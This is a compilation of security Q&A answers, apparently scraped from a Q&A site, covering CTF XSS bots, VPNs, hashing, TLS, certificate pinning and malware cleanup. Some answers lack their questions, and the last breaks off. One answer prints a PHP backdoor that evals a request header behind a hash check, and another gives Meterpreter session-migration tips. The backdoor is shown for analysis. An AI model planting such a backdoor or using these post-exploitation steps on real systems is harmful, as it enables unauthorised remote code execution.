How to build a hacking challenge that uses XSS?

The most common approach I've seen is to run a headless browser bot that gets vulnerable links through a submission system. It then visits each of these links for a few seconds with a magic cookie set.

An example can be found in the article "How to add an XSS-able bot to your CTF" where the bot is implemented as a headless PhantomJS instance. Similarly, the hackxor game uses HtmlUnit to simulate a browsing victim and this XSS challenge uses an instance of Zombie.js.

There are indeed several reasons to avoid stored XSS: Not only would players learn about the others' methods and eventually interfere with their payloads but people might start annoying others with redirects or infinite loops which will keep you busy with cleaning everything up.

Instead I'd suggest a reflected XSS vulnerability with a simple submission system where players can provide links that are then visited by the bot. Depending on the scenario, the submission could be put in the context of a contact form, a simple socket listener, a private IRC message, or, if you feel fancy, an email account where the links from incoming emails are extracted and visited.

I'd definitely avoid a system that requires manual interaction. Otherwise people will constantly inquire if their payloads have already run, if it can be visited again, etc. Depending on how aggressive the players are you should also think of a way to rate-limit submissions. (A CAPTCHA for the contact form would fit the scenario well.)


ICMP redirects and source routing in the wild?

... are these attack vectors still something one should worry about?

No, not really.

I would venture to guess that few, if any, commercial firewalls accept LSRR/SSRR packets. It might even be the case that backbone routers drop these packets. Assuming your target is using some sort of home brew of iptables/pf it seems likely that rules to block these packets would be necessary.

  Should checks for these features still be a part of standard hardening
  routines on routers?

I don't see why not? It's a simple rule-set to add and I doubt that a few more rules would have any impact on performance.


Is Using VPN Useful For Strictly Personal Use?

What a VPN does for you is establish an encrypted channel to another location and then pass all your internet traffic through that second location. In effect, you can consider your internet traffic as originating at that second location. Whether that has any benefit for you depends on the specifics.

In general it does not provide any additional security to your specific machine- if you engage in risky behavior on the internet like downloading random executables or visiting sketchy websites then doing that same activity through a VPN does not help keep you safer.

However, whoever provides the VPN can theoretically make you safer. For example, my workplace runs an internet filter and has a dedicated security staff to maintain it, so it can catch and prevent a lot of risky online behavior. When I connect to my workplace VPN then all my web traffic runs through that filter- that makes my online activity safer, but it's not because of anything special about VPN, it's because the people on the other end of the VPN have taken the time to provide security mechanisms beyond what the VPN provides.

However, a major non-commercial use of VPNs is hiding your true location (if you trust your VPN provider to keep that secret for you). If you don't like the fact that web services can tell where your traffic originates from then you can establish a VPN link to a provider in another area, and then it appears as though all your traffic originates from your provider. This is exactly analogous how people with offline privacy concerns can get a PO box from the post office in order to hide their true home address.


It's high likely that your computer has been compromised, probably by a RAT which you caught by drive by download or email attachment. Unless you are a very technical person, I strongly advise the following:

Do a malware scan on the system because the attacker probably installed more malware after entering the system (Pro tip: Live boot a Linux system and mount your Windows disk to scan it externally because the attacker might have corrputed the antivirus software)
Backup your important data after removing corrupted files
Wipe the disk completely
Reinstall Windows

Also change all passwords you used on that system immediately, since you need to assume that the confidentiality of all sensible data is lost.

Also think about where you could have infected your PC in the past. This incident should have raised your awareness.


User accessed Phishing link but didn't provide the credential but got hacked?

I see that the site is now suspended by hostmonster. Assuming he did not provide credentials knowingly or unknowingly, here are a few possiblities, if the phishing email was linked to the account compromised at all.

1. Clipboard content stolen

The malicious page could have stolen clipboard data.

2. Malicious scripts

The malicious link redirects user to an edu page, but in between the redirection could be many other redirected pages. I've seen a few good examples going through different server-side php pages (apart from client side code from above example) and it's transparent to the naked eye. Scripts could send out emails without email client dialog boxes.

Malware could have been downloaded as well, that may have compromised the machine to be an open relay server.

3. Malicious plugin/extension installed

In basic authentication, credentials are sent via HTTP POST, which is accessible via browser developer tools. A malicious plugin can exploit that.

With that said, it is useful to understand how the spam emails were sent out, be it through web mail (so we know it's about web security) or client-based (so we know it's host and network security related). Each track would have more possibilities of their own.

In terms of tools that can help you, why don't you check on outbound data to the malicious host, if you have the logs - proxy logs, netflow, packet capture etc.
Those would paint a good picture on what was ex-filtrated.


If I set http.sslVerify to false in git, then will the connection be secure?

The connection is not secure. If git isn't verifying the SSL certificates of the remotes, a MITM attack is pretty simple and straightforward. Anyone could tamper with your code and even build exploits into your software without you even noticing; thats about the worst thing that can happen to a software project.


Is leaking the hash of your encryption key a security risk?

If each entity, who wants to decrypt the file, only knows a few possible keys, then the simplest solution is to just try all these keys. This assumes that your encryption mechanism includes a MAC, as it should anyway. The MAC will tell you whether the data is valid or not, which traps both data alterations (malicious or not), and the simpler case of using a wrong key. Combining MAC and encryption is fraught with peril and thus you are encourage to use a mode which combines the MAC and the encryption in a safe way (EAX, GCM...).

If an entity who wants to decrypt the data knows a lot of potential encryption keys, trying them all could be inefficient, in which case including a key identifier in the file header may help. The hash of the key is not bad and will not induce extra risks as long as the hash is "sufficiently distinct" from the key processing for encryption. These are dangerous waters -- properly qualifying this property, in a scientific way, is already hard enough. A cryptographically sound way is the following: from the shared key K, compute SHA-256(K). This yields 256 bits. Split that in two halves: the first 128 bits will be your "key identifier" (which can be included in the file header), while the other 128 bits will be the symmetric key actually used to encrypt the data.


Firefox refuses to use X509 certificate, complaining "Cound not verify this certificate for unknown reasons"

When using client certificates the server sends a list of acceptable CA which issued the client certificate. Based on this list the browser will select the matching client certificate. If there is no client certificate issued by the CA expected by the server you get the error message. Thus the problem might not be the certificate itself, but simply that the server expects only certificates issued by a different CA.

To check which CA the server expects to be used for client certificate you might connect with openssl:

 $ openssl s_client -connect host:443 -servername host
 ...
 Acceptable client certificate CA names
 /CN=ACEDICOM Root/OU=PKI/O=EDICOM/C=ES
 ...


Why do websites force the user to use a long and complicated password when brute force isn't possible?

Nowadays, the scenario password policies need to defend against is the theft of the complete password database. This is something which happens with alarming frequency even to very reputed websites.

When the developers of the website follow common best practices, then password databases usually don't contain the plaintext passwords but instead store a hash of every password. An attacker which has access to this data can perform an offline brute-force attack by calculating the hash-values of common weak passwords and compare them to the hashes in the database. To defend against this kind of attack, users need to be motivated to use strong passwords.


How can I duplicate an EVP_PKEY struct without knowing the underlying algorithm?

I managed to duplicate by converting to DER and back. the general i2d/d2i functions call the specific ones.

Code:

error_code_ENUM read_evp_pkey_from_ram (int       index,
                                        int       DB_ID,
                                        EVP_PKEY  **pkey_ptr_PTR){
  EVP_PKEY           *pkey;
  unsigned char      *p;
  unsigned char      *DER_PTR;
  int                DER_size;
  int                pub_len, priv_len, type;

  *pkey_ptr_PTR = NULL;

   if ((pkey = sensitive_EVP_PKEY_data[DB_ID][index]) == NULL)
     return error_code_no_key;

   type = pkey->type;
   /*passing NULL to char *out returns the length only*/
   pub_len = i2d_PUBKEY(pkey, NULL);
   priv_len = i2d_PrivateKey(pkey, NULL);
   if (pub_len <= 0 || priv_len <= 0 )
       return error_code_general_error;

   DER_size = pub_len + priv_len + 2 * sizeof(UINT_16);
   if ((DER_PTR = OPENSSL_malloc(DER_size)) == NULL)
       return error_code_no_memory;

   /*
    * store the key in buffer as:
    * |public key length | public key | private key length | private key|
    */
   p = DER_PTR;
   *(UINT_16*)p = pub_len;
   p += 2;
   pub_len = i2d_PUBKEY(pkey,&p);/*p is incremented here by the key size*/
   *(UINT_16*)p = priv_len;
   p += 2;
   priv_len = i2d_PrivateKey(pkey,&p);

   p = DER_PTR + 2;
   /*pass NULL to EVP_PKEY *key causes a fresh EVP_PKEY struct to be allocated and a pointer to it returned*/
   pkey = d2i_PUBKEY(NULL, (const unsigned char **)&p, pub_len);
   if (pkey == NULL){
      OPENSSL_free(DER_PTR);
      return error_code_general_error;
   }

   priv_len = *(UINT_16 *)p;
   if (priv_len == 0){
       EVP_PKEY_free(pkey);
       OPENSSL_free(DER_PTR);
       return error_code_general_error;
   }

   p += 2;
   /*now pass &pkey*/
   if (d2i_PrivateKey(type, &pkey, (const unsigned char **)&p, priv_len) == NULL){
          OPENSSL_free(DER_PTR);
           return error_code_general_error;
        }

   OPENSSL_free(DER_PTR);

   *pkey_ptr_PTR = pkey;

   return error_code_no_error;

note that i2d/d2i functions increment the pointers they are given


Can my ISP read my gmail even when using HTTPS? Is there a way to prevent that?

No, they can only see the encrypted traffic flowing from yourself to Google's servers.  They cannot see the actual content of the traffic (your emails).

However, if your ISP forces you through a web proxy and makes you use their certificate, they could then see the content of your traffic.  I would be cautious if you see untrusted certs when going to gmail.com.  You may consider even using a VPN to prevent your ISP from trying to do things like this.


Where can I find the specs for the X.509 certificate used in client-authenticated TLS handshake?

As I understand it, validation of the client side certificate is implementation specific. Generally, it boils down to asserting that the client certificate is in a trusted PKI from the server's point of view. It may decide extra validation schemes as defined by the certificate policy.


How to decrypt Diffie-Hellman encryption in WebRTC?

Providing my comment as an answer since my reputation is to low for commenting.
When using a SSL key log file it maps "identifiers" to master secrets.
It tries to map by the following identifiers:

Session ID ( that is the Session ID filed if a Server Hello handshake message)
ClientRandom ( 32 bytes within the Random filed of a Client Hello handshake message)

Debug log:
ssl_finalize_decryption state = 0x17
ssl_restore_master_key can't find master secret by Session ID
ssl_restore_master_key can't find master secret by Client Random
  Cannot find master secret
packet_from_server: is from server - TRUE
ssl_change_cipher SERVER
packet_from_server: is from server - TRUE
dissect_dtls_record: content_type 22
decrypt_dtls_record: no session key

So you're right. It can't find the master key.
I would try my luck here Wireshark forum
What OS, Browser (Version are you using).


In the simplest models for symmetric (reversible) encryption, you just need a decryption key - which can be as simple as a common password.

For the system to be zero-knowledge, the encryption must be done on the client's system and ONLY encrypted information passed to storage provider. This way the storage provider technically has the data stored, yet it has no way to access the clear text (human-readable un-encrypted version) because it doesn't have the key.

Note that in the old-days, we did this with simple FTP and "password protected ZIP files".

The weakness of this system is then that if the decryption key is just a common password then the storage provider (or anyone that intercepts the data) could trivially brute-force crack it and get the clear-text.

So, to make this system even more safe and robust, usually a public-private key system is used, again with the client's private key always being left on the client and NEVER given to the storage provider. Any storage provider that accepts or can access the decryption key is not zero-knowledge, by definition.

As you point out, this could be inconvenient - if I store information with the provider and want to access it at home, I have to manage the key myself. Many tools exist for this, from "keyrings" to secure USB dongle's to biometric storage devices with TPM chips, etc. But yes, you have to carry the key around with you or store it on some other provider's server, with all the potential dangers and inconvenience that has.

The simplest way to understand the systems is just to compare them to a keyed safe. You put in things you don't want anyone to touch, and you lock the safe. You give the safe to a storage company, and then you have the security of knowing the storage company only has access to your safe - not it's contents. If you also have the storage company store the keys to the safe, well then obviously they could trivially access it anytime they want.

The price of security and privacy is very often inconvenience - sometimes tremendous inconvenience. You just have to decide if what you gain is worth the price you must pay in time and potential insecurity (if you lose your key that data is pretty much gone forever, no one can get it back for you).


To what extent have SHA-1 collisions compromised application verification?

Third party package repositories are vulnerable

There are two subtlely different contexts for this question. One is vulnerable and the other isn't.

If the application developer generates their own hash, this is still safe.
If there is a third-party repository, that accepts software from other developers, this is not safe.

This may seem a bizarre distinction. What is going on?

Secure hashes have two key properties:

Pre-image resistance - if you have a hash, you can't find the plaintext that generates that hash.
Collision resistance - you can't find two plaintexts that hash to the same value.

When an application developer generates their own hash, you are only relying on the first property for security. For a hacker to create malicious software that matches the legitimate hash, they would have to find a pre-image.

But with a third-party package repository you are relying on the second property. An attacker could create two bits of software: one benign, the other malicious - and craft them to cause a collision, i.e. they create the same hash. The attacker would submit the benign package to the repository, but then attack users with the malicious version.

It turns out that collision resistance is easier to defeat than pre-image resistance. The recent announcement only affects collision resistance. SHA-1 is thought to be secure against pre-image resistance.


Can 2FA / MFA be secure & functional in a purely offline state (PWA)?

Authentication against a local JS application does not work. I wrote a detailed answer on this topic before. The crux of the argument is that an attacker is in complete control over the mechanism that performs the authentication, and is therefore able to always authenticate themselves successfully.

  What about Multi-Factor Authentication?

It will not fare any better. Imagine a simple scenario, in which your application would send an SMS token to your user, once they entered the correct password. An attacker can simply read out which value is expected, and enter that value.

  But what if an attacker would not be able to skip past my login?

That's the problem. In any even remotely realistic scenario, you don't get to tell the attacker how they can attack your application.

An offline JavaScript application can't securely authenticate a user, because the attacker is completely in charge of the authentication process.


Offline authentication based on device serial number

The most secure option is to use TPM-assisted full-disk encryption along with secure boot , signed binaries , run-time TPM-"measured" kernel and applications. If your platform doesn't support that, some other approaches in order of decreasing strength :

use a TPM to decrypt/measure the application each time before it is
run
use a dongle which communicates with the app (perhaps as TPM
replacement)
hash/stretch serial numbers and other IDs , and always
decrypt the app with the resulting key


It is a very obfuscated way of doing this:

eval(getenv(HTTP_X_UP_DEVCAP_IMMED_ALERT));

This alone won't do anything until someone views the page with the HTTP_X_UP_DEVCAP_IMMED_ALERT header set, then the content of this header will be executed on your webpage. It looks like someone wants to execude code, perhaps for a botnet.

If you are interested in this code, you can see a version on pastebin with a little more formatting and comments above each line with the values of variables and function calls etc. Please note that I've commented out the eval call to prevent accidents in case I missed something (but I thing I got everything)

EDIT
I've put a new version on pastebin,  basically this is what's executed:

if(!levenshtein(md5(getenv(HTTP_A)), '4fb90a5a352c459767f74f0780779254'))
    eval(getenv(HTTP_X_UP_DEVCAP_IMMED_ALERT));

IMPORTANT

I am almost sure that there is more on your webspace, you should search really well.


What is the point of blocking a potentially malicious domain by binding it in the hosts file to 0.0.0.0 rather than 127.0.0.1?

0.0.0.0 can be equally dangerous, as it acts like 127.0.0.1 on some operating system such as Linux.

In order to block domain names, you'd better use a DNS proxy such as dnscrypt-proxy. In addition to being way faster than hosts files with large datasets, DNS proxies can block suffixes, prefixes and regular expressions.

Instead of returning an actual IP address, these proxies return responses with the REFUSED error code, which is the standard way in the DNS protocol to refuse queries.


Usually, inspection and filtering of all the network activity of employees by employers is lawful. Details depend on the country and its laws, of course, but the generic framework is that as long as it was specified in the hiring contract, then the employer can spy as much as he wants -- for company resources, of course, no question about tapping into your personal phone or things like that.

Therefore, your "head staff member" might just be doing his job.

If you have strong suspicions that this "head staff member" spies on you in an illegal and unwarranted way, then you should relay your suspicions to his manager. Trying to counter him "technically" (for instance by playing with the routers) would be puerile, illegal, and would only plunge you into bigger trouble.


Hashes of overlapping data - does it make them easier to crack even when neither is cracked

I will try to put it in simple words.

Ok, first is first, hashing is a one way only algorithm. You can only go from the source to the hash and never from the hash to the source. I mean, the hash string does not have all the original information so we can't extract it. The only way to guess if an information coincide with a hash is hashing the information and comparing it against the original hash. And even in this way we will never be sure since two hash strings may collide.

[Edit after your clarification]
The CaseB is clearly more secure:

Consider than in CaseA you will only need to brute force the full space once, the second time you will need to brute force only half of the space (just the StringC part).
In CaseB you will need to brute force two times.

The full space in CaseB is N^(length(a)+length(b))+N^(length(c)+length(d), the full space in case A is N^(length(a)+length(b)+N^(length(c)) where N is the number of valid chars.

But there will be no shortcuts to find "StringB" in the case A just because it is used when computing all the hashes. You will have to bruteforce it along the StringA or along with StringB (and then you will need to know the exact length of each string and so on...)

Just as a side note... I am thinking that you may be referring to a problem with ECB block cipher mode encryption, that will be a different problem and you will have a very different response. Consider having a look to this wikipedia page.


Sandbox environment for "php malware" analysis

If you have all of the PHP code for the application you can set up a LAMP/WAMP VM and load it up on an IDE. You can run it and set your breakpoints as needed.

Turn off the network card and install and run wireshark in the background. If you need to you can look into some DNS spoofing applications.

If you're very concerned do all of this on dedicated hardware that is not connected to any network.

That should be enough to get you started.


Azure has a feature specifically for this Azure key vault
These are backed by HSMs - this is what you want. You need to assign access to the application via serviceprincipals and the usual authentication / authorisation but this is how you want to be storing keys for applications within Azure.

  "With Key Vault, Microsoft doesn’t see or extract your keys."


Stdapi commands not showing in meterpreter session

With metepreter sessions, you need to make sure you migrate to a running application. So for example, when obtaining a session for Windows you would migrate to explorer.exe

If you want to migrate, list the running applications with ps and then it will give you the list. After that, you type migrate [application PID] without the brackets. This should stop your meterpreter session is not valid and will be closed situation.

The stdapi will only be given and only load if the module is handing you administrative rights.


Is Postgres's uuid_generate_v4 securely random?

The PostgreSQL documentation says that UUID generation relies on the OSSP library. A look at the source code of OSSP (version 1.6.2) shows that the code uses /dev/urandom on Unix-like systems (CryptGenRandom() on Windows), and also a much weaker PRNG based on current time, process ID, and the C library rand() function. Fortunately, the two outputs are XORed together, so the use of /dev/urandom is sufficient to guarantee strong randomness, regardless of how weak the other PRNG may be. Unfortunately, if the opening of /dev/urandom fails for any reason (e.g. the process had run out of free file descriptors at that moment), the library falls back to using the weak PRNG only, with no warning.

Therefore, while v4 UUID generated by PostgreSQL should usually include 122 bits of cryptographically strong randomness, there is always a possibility of degradation into a much weaker behaviour, with no reliable method to test for that occurrence. Also, none of this seems really documented, so it may change in other library versions. Therefore, caution advises not to rely on the strong randomness of UUID generated by PostgreSQL, and instead explicitly use a strong random source on the application side (typically /dev/urandom, but not hiding access errors).


Are SAQ A-EP network questions office network or a web server network?

The 'scope' that you define is the key to this. You have to justify (according to PCI-DSS rules) that a network (like your office) is not in scope. Then you don't have to worry about that (as long as nothing changes that affects the scope).

As for 3rd party hosting, you need the details from them. They should not be new to PCI-DSS questions. It is possible that they are simply not PCI-DSS compliant, and you will have to review whether they are an appropriate hosting provider for your company.

You are required to use a PCI-compliant 3rd party as outlined in the "Before You Begin" section of the standard (page iii).


who should create a CSR, the developer or system management?

This depends on who is responsible to keep the application running. If the developer itself is fully responsible to install the application on the server, monitor its health etc then it can make sense that the developer has also control over the certificate and its private key, since this is needed to keep the application running. The network group might only provide resources like the hardware or VM and setup DNS once in this case.
If instead the network group is responsible to keep everything running then certificate management including the creation of the CSR is likely their duty too. There can also be a mix of responsibilities, for example if the network group just sets up a reverse proxy which translates HTTPS to HTTP and the developer keeps the HTTP-only application behind the reverse proxy running. In this case certificate management is still at the network group.
What is the right way to do depends a lot on the established internal processes and available resources. It might also vary for different internal apps, depending on how sensitive and critical they are and who is the user of the apps. For example company-wide apps might be managed by the network group while team-specific apps might be managed by the relevant team. Or it might be that initially less critical apps get more critical with the time in which case the responsibility for the app might be moved from the developer to the network group.


Based on your comment to @esskar's answer, it would appear that your server has been rooted and the php binary has been replaced.

Since you have no idea what else may have been replaced, I would reinstall from scratch. Unfortunately you'll have to be suspicious of data files coming off your backups unless you know exactly when the hack occurred. (And I suspect you don't, since you don't know exactly what the hack is/was.)

My biggest problem with the "reinstall from scratch" approach is that you're likely to have the exact same vulnerability that allowed this attack to be successful. To keep this from happening:

Change all passwords for all services.
Make sure all patches for all packages are installed.
Shut down services that are not in use.
If practical, partition services onto multiple servers -- place services that might be at higher risk on a separate server.
Set up monitoring (IDS) and keep up with maintenance on it so that you have a chance of knowing what happened if another attack occurs.


Hash functions are deterministic; the same input always results in the same output. They can store the previous hash values of your old passwords and compare them with your new proposed password's hash. To achieve this, they also need to store at least the salt values, too. This means the salt and other parameters has to be the same for you in this site.

As pointed out by Micheal

  The salt for the old passwords does not have to be the same as the new one.

In this way, you can use different salts and other parameters. This can be considered more secure than reusing the salt with an increase on the storage.

From here, without the server side code, we cannot say more than like this.


HOTP/similar - how about standard backups of mobile devices?

Some phones send SMS messages to a computer in realtime when nearby it (Samsung has a little thing for their android phones that does this, or did), and if the phone is plugged into a computer and supporting Hayes modem commands, those can read text messages in realtime too.

Really, what OTPs get you is protection against people guessing passwords, though they are sometimes helpful with stolen ones too.  That said, TOTP would be better for this given that it is ephemeral and thus the chances of getting it right don't increase as the number of attempts do.  The HOTP is really not much better than a password consisting of the key and counter (in my opinion), except that it effectively comes with its own challenge auth for anti-replayability.

If you need to be secure against people stealing the tokens from phone backups or whatever, you really should issue hardware tokens.


Why can't we use a third party website to make a csrf attack?

Same-origin policy prevents a website from reading another website, which also prevents it from extracting the token to perform a CSRF attack.


How is fingerprint authentication integrated with a backend server?

Secure enclave doesn't really do any call back to web servers since Touch ID's a replacement for local passcode, and not directly tied with any third-party service. I think in order to enable using touch ID inside an app like Paypal, you need to have already logged into Paypal using your ID and password. Then enabling touch ID basically ties this token with touch ID. So it goes touch ID -> secure enclave -> yes Paypal, a positive match -> Paypal goes and now uses stored token or cookie (or whatever the mechanism is) made from the initial login using the password to do Paypal stuff on its own.


What alternatives do we have for Google's reCaptcha?

You can roll your own captcha. How well that works depends on how much work you put into it. You could, for example, create an image with a sum:

convert -background lightblue -fill blue -pointsize 72 'label:7+8=' label.gif

and expect the user to solve the sum. Note: 7 and 8 should of course be replaced by random numbers and the output filename would also depend on your web application. That will weed out all the simple robots. You can blur, add noise to the image, put other things in it et cetera.

If you make that more complicated (multiple images, which image contains an object, random style captcha etc.) you will be a bit more secure.

No need for Google's captcha, depending a bit on the rest of your service.

If you roll your own captcha, you should monitor its use. If it is solved multiple times per second from a single IP address (to state the obvious), you might consider making it more difficult.


How to implement password reset functionality without becoming susceptible to cross-domain referer leakage?

Yes. This could solve your problem:

mysyte.com/?token=xxx sets a cookie and redirects to mysite.com/changepwd without returning any markup
mysite.com/changepwd recognises the user by the cookie and can
safely request for 3rd party resources without leaking the token
through referrer headers.

To answer your second question: if the resource is over http, then any network nodes between you and the 3rd party would be able to see the token. If it is https, then it's only the 3rd party that will get the token.


You can find the slides of 2012 here in the schedule... the other material can be found here

Have a nice day ;-)


Is it secure to use only the access token?

It sounds to me like you might be mixing up the use-case for access tokens. They are not designed to authenticate users for your application; they are meant to authorize a client application to work with a resource server API on behalf of the user.

If you are simply looking to authenticate a user for your apps, you should instead use the id_token provided by OpenID Connect. The id_token is designed to provide your applications with the details (in the form of JWT claims) that they need about the authenticated user; this is intended to allow each of your applications to initiate their own sessions, based on those claim details. As such, your session can be as long or as short as you need - it is independent of the session of the user in the AS (or OpenID Provider/"OP", as it is known in OIDC vernacular).


Authy asks for the recovery password without a reason. Is this normal behavior?

This is normal behaviour, and a sensible idea. If you don't use the password for a year or two, and then suddenly need it, you're quite likely to have forgotten it.


Mitigating the new attack on WPA2 involving PMKID

This doesn't seem like an effective mitigation as disabling roaming would simply mean that the 4 way handshake has to occur any time that the AP the client is connecting to changes, so it would mean that any time roaming actually occurs, the original vulnerability would still be a problem.

Unless the roaming is not actually needed or the roaming vulnerability is somehow worse than the attack on the 4 way handshake, I'm not sure that this suggested mitigation is particularly effective.  If you don't need roaming, then there is no reason not to turn it off though.

Caveat, I'm not an expert on WPA2, so I'm working off a basic reading on the subject, so if anyone who knows more wants to chime in to either confirm or deny my analysis, that would be great.


Could you increase the metric for the default route then add a second default route at a lower metric?


Can the server detect when a client has disabled certificate pinning?

No, it is not possible to determine the state of SSL pinning at the client. SSL pinning is part of the certificate validation done solely inside the client and the only feedback the server gets is if the validation succeeded (connection continues) or not (connection closed, maybe TLS alert).
Also there is nothing fully reliable the server could to to "ask" the client about the state of pinning because you cannot expect a true response from an application which runs on a device fully controlled by the "attacker".

But one can make it harder to disable pinning undetected.
If you are building an application and want to detect if pinning is disabled you might make connections to two different hosts. For one of the hosts you expect a valid and pinned certificate and for the other a valid but not pinned certificate. If both connection succeed you can conclude that somebody tampered with the pinning. Of course if the "attacker" knows this behavior of the application he can work around your detection but without the knowledge it gets harder. And more complex (and maybe even dynamic) schemes like this should be possible to make it even harder.

But the question remains what you get from knowing if pinning is disabled or not. If you make sure that pinning is not possible you might deter man in the middle sniffing. This still leaves the option to sniff the data inside the application, i.e. before they get encrypted and after they got decrypted. This means analyzing and even modifying the data is still possible by an attacker in control of the device.


Avast attempts to connect to the Internet when I try to download email

My guess is that you have Avast Mail Shield active and therefore it will scan any incoming and outgoing messages. This is probably done by being a man in the middle, i.e. your mail client actually connects to a local process from Avast which then connects to the real mail server.

This means the internet access is necessary to actually get the mails from the internet, analyze them and then forward them to your mail client. There is no need to send these mails to Avast for analysis same as there is no need to send your local files to Avast for analysis. But it is necessary for the Avast process to actually reach the internet because otherwise it could not get your mails for analysis.

Apart from that you should ask yourself if your distrust makes any sense: you trust Avast to inspect all your locally stored data, you trust Avast to connect to the internet to get updates but you don't trust Avast to connect to the internet when you get mail? If Avast would like to transfer your mails it could be easily done during the software/pattern update.


Your question appears to be "I don't like elements of the service a provider is offering".

If the service does not provide the level of privacy mandated by law in your jurisdiction, then report the matter to the relevant authority.

If you've asked the provider to improve their service and it still does not meet your expectations, then stop using it.


Enpoint protection: How to search an organisation for hash value

You get one of the many endpoint agents out there or Powershell scripts that allow you to search for IoCs in the form of file hashes. You tell the agents (or central script) to look for the file hash.


There are types of DDOS attacks which don't use source spoofing and where thus BCP38 does not help. For example the current IoT based DDOS attacks against Dyn, OVH, etc did not use source spoofing at all. Also, DDOS by employing the Slashdot Effect does not make use of spoofed addresses either.

Spoofed addresses are instead mainly used in amplification attacks which is only one of the techniques for DDOS.


Is making e-mail addresses visible and impersonation possible by GitHub an acceptable practice?

Why then with GitHub I can simply go to .patch file of a commit?

There's no security benefit in hiding or obfuscating email addresses from this .patch interface: anyone who wanted the email addresses of authors or committers in a publicly accessible project could see them anyway just by cloning the repo. Also importantly, the patch file produced by this interface is intended to be usable as an input to git am. That is, if you obtain such a patch, forward it to someone else (perhaps through a mailing list), and someone else applies it to their copy of a repo with git am, it should generate a commit with the same metadata at the other end, nearly as if you did git cherry-pick from one branch to another. The author and committer names, email addresses, and dates, as well as the commit message, are the important parts of that metadata.

  Why it must use the e-mail addresses?

Well, you can certainly stamp whatever author names and email addresses you want on git commits (nothing can stop you), and you can push those commits to remotes (including GitHub), but you can't change them after the fact (without invalidating the commit and all downstream commits). That's just how git works: the commit metadata goes in to the calculation of the SHA1 that becomes the commit's identifier.

Would you be happy if all your published had Your Name <ghurpost@xxx-obsuscated.example.com> listed as the author? Remember, you cannot afterward somehow de-obfuscate that afterward and have the commit's SHA1 unchanged.

Having something in a piece of version control software that "guards" the identities of authors is largely incompatible with DVCS. If you need that, then you're probably looking for a centralized version control system (CVCS).


Mysterious Device on network, need some suggestions

There is only one way to know for sure that whether it is a rogue device - verify that it is a device you own or not. While you do that, consider the following scenarios.

Verify if it was a machine connected by the people who installed the router.
Verify if it is a VM running on one of your machines in bridged mode.
Verify if it is a mobile device like a surface tablet.

If the above three cases are invalid and the device isn't your own machines, it is likely to be rogue. If it is still online you can perform a port scan and see the results and try if you can fingerprint the same.

To make sure that it isn't snooping your network, use wireshark and see the packets from that particular IP and your router. If there are ARP responses which binds the rogue machine's MAC and your router's IP, there is a  man-in-the-middle attempt and you are being snooped.

Comment below if you need the specifics on how to perform any of these.


Token based API security over repeated username/password requests

Why would the client machine keep the username/password as a cookie and not include it in the post content itself?

Keeping username/password (or token for that matter) in a post content, localStorage or sessionStorage exposes this content to a XSS attack. Please see this article. Even though the article is about a token, the same principle applies for any credentials (including username/password). Some more references about this here. If you store such information in a httpOnly cookie, the content is not available to JavaScript and thus theoretically imune to an XSS attack. Once you have your credentials in a cookie, you are open to a CSRF attack and you need to handle it.

Answer on your linked question is correct.

I would add another benefit for token: expiration. If username/password credentials are stolen, it might be difficult to detect it. Tokens will expire at some point and the user will need to relogin to be allowed new one. This limits the timeframe where a stolen token can be used to authenticate on the server. In case of username/password credentials, there is no such limit or it is larger (password expiration policy is usually a month or more where a token can be set to expire in minutes or day(s))


Can anonymizing techniques make you less anonymous?

If you are in a crowd and you wear a mask, but nobody else in the crowd does, then you tend to attract attention...

If you want to remain anonymous, then you must use only tools which do not single you out as a potential miscreant, i.e. tools that everybody uses. A good example is when you pay in cash: this is a mostly traceless payment system, and yet sufficiently many people use it so that paying with cash does not appear suspicious (unless you use cash to pay for, say, a big car).

To a large extent, this illustrates a tendency to miss the point, which is unfortunately often encountered in circles dealing with anonymity: it is what I would call the "game fantasy". When using Tor, PGP or whatever, the wannabe anonymous sometimes feel that he is playing some game with informal rules, in particular a definite and finished scope. The Tor user tends to believe that his adversaries will meet him only in a network-related way. As rumour has it, one of the first reactions of Kevin Mitnick upon his being arrested was to say that Tsutomu Shimomura had "cheated" by calling the cops, instead of trying to defeat him through technical skills alone.

So let there be a lesson: if you want to be anonymous, don't concentrate on the tools. Instead, focus on the big picture. Layering anonymity gimmicks on top of each other does not address the actual problem.

In fact it can be argued that no layering can help Tor in any way, since the point of Tor is to randomize the network path so that sender and recipient cannot be correlated with each other; if something else is needed then sender and recipient were correlated with each other, and the actual use of Tor came to naught. This is a property of anonymity through absence of correlation: it is all-or-nothing. You cannot get anonymity incrementally; you have it all in one go, or you have none. This answers one of your questions: layering does not ultimately help.

To really be anonymous, you have to blend in the background. You achieve perfect anonymity by doing nothing. However, as soon as you try to act, if only to send an email, then you begin to leave traces of many kinds. For instance, when you use a WiFi access from a coffee shop, then you are physically in the coffee shop, so you are in range of CCTV cameras, you leave fingerprints and DNA traces on the premises,...


Is there any secure way to transfer data between mobile phones without Internet?

Yes, you could encrypt your data.

This will be hard if you don't have a smartphone.
You could manually encrypt your text messages using One-time pad (Cold War tactics basically). Manually encrypting voice messages is not possible, unless you invent some kind of secret language (which will never be a 100% secure).

If you do have android, have a look here: https://www.eff.org/secure-messaging-scorecard
Some of these apps (Like Open WhisperSystems TextSecure) can use regular SMS.


Why are stack address the same all the time when not using ASLR?

Addresses that you are seeing through your debugging tool are logical memory addresses. Every time a program is spawned, the CPU allocates certain bytes of memory to the program. On the hardware, this may be allocated in one single chunk or it may be strewn over in parts all over the place. However, to make it simpler for the program to refer to memory locations, the CPU maps these hardware or physical memory address to logical address.

A program interacting within this address space does not see other programs. Only the CPU knows which physical address to fetch when the program refers to some logical memory address within the code.

So, two different programs can refer to the same logical memory location, say 0x7c900000. But the CPU knows where to point this instruction to on the physical RAM. This makes life simpler for the programmer when memory management is taken care of by the CPU.

About ASLR (Adress Space Layout Randomization):

ASLR was introduced because it was fairly easy to reach the exact point in memory during program execution to find buffer overflow vulnerable variables. This made writing exploits easy. ASLR randomized the placement of variables making it difficult for hackers to exploit buffer overflow vulnerabilities.

So without ASLR, the variables in your program and instructions are going to be loaded in the exact same (logical) locations every time you execute it.


Hiding my activity from mobile service provider

To answer this question directly:

  is using just proxy protection for this?

Possibly, but a proxy would have to be specially configured to manipulate the traffic it receives. Even then it is still might go over the ISP "wire" where they inspect the traffic and forward it along. Keep in mind a proxy is just something between your end point and the intended endpoint. So unless the proxy just sends the traffic over another wire entirely (like what a web proxy does), your ISP will still get it. To what level an ISP can inspect that traffic is outside of the scope of this answer.

  Is using this tool: https://guardianproject.info/apps/orbot/, protection for this?

